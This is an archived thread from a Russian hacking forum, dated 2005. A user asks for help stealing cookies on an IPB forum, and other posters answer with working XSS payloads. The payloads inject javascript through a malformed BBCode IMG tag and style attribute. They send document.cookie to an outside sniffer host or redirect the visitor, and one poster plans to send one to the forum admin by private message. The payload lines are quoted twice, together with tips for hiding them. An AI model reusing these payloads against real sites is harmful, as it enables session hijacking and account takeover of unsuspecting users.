PDA

Просмотр полной версии : нужна помощь


KI[f]F
20.03.2005, 07:53
что то странное происходит пытаюсь взломать форум использую скрипт из 4 статьи на античате про взлом ipb выхордит странная штука я скрипт невижу когда запостил! и снифер мой хеш ловит, а все остальные видят! и против них неработает! странно... Помогите плиз! может скрипт неправельный скажите какой правильный! заранее спасибо!

CunningFox
20.03.2005, 14:10
его и не должно быть видно..

(-=util=-)
20.03.2005, 16:45
вообще ету фишку на форуме уже разжевали до такой степени что глупо непонять.

chin
20.03.2005, 20:07
Дело еще в браузере (только IE воспринимает " ` " (апостроф) как разделитель). Еще совет: Когда спариваешь вот так вот теги, как в статье, обрамливай всю эту конструкцию еще одним конструкция_сниффера ... и тогда даже те кто "будут" видеть это - они не заметят. ;)

(-=util=-)
20.03.2005, 21:55
ВОТ!!!!!! Сомый оптимальный вариант! Добавляю к chin'у.... Ставлю в PM админу вот такую батву :


http://000.aa/=`image.jpg[/IMG***]]` style=background:url(javascript:document.images[2].src="http://domen.ru/s.jpg?"+document.cookie)
http://000.aa/=`image.jpg[/IMG***]]` style=background:url("javascript:document.location.replace('http://domen.ru/index.htm');")


Тэг IMG без "***" соответственно.

CunningFox
21.03.2005, 09:42
хех, всё таки сделал :)

KI[f]F
26.03.2005, 08:05
спасибо за помощь!

White Jordan
26.03.2005, 10:09
ВОТ!!!!!! Сомый оптимальный вариант! Добавляю к chin'у.... Ставлю в PM админу вот такую батву :


http://000.aa/=`image.jpg[/IMG***]]` style=background:url(javascript:document.images[2].src="http://domen.ru/s.jpg?"+document.cookie)
http://000.aa/=`image.jpg[/IMG***]]` style=background:url("javascript:document.location.replace('http://domen.ru/index.htm');")


Тэг IMG без "***" соответственно.
Replace это ты от меня научился да? =)

(-=util=-)
26.03.2005, 12:53
нет. просто яву немного знаю =) ещё можно document.write(..... Вообще при открытия топика будет то что ты напишешь.... типа home page)) :)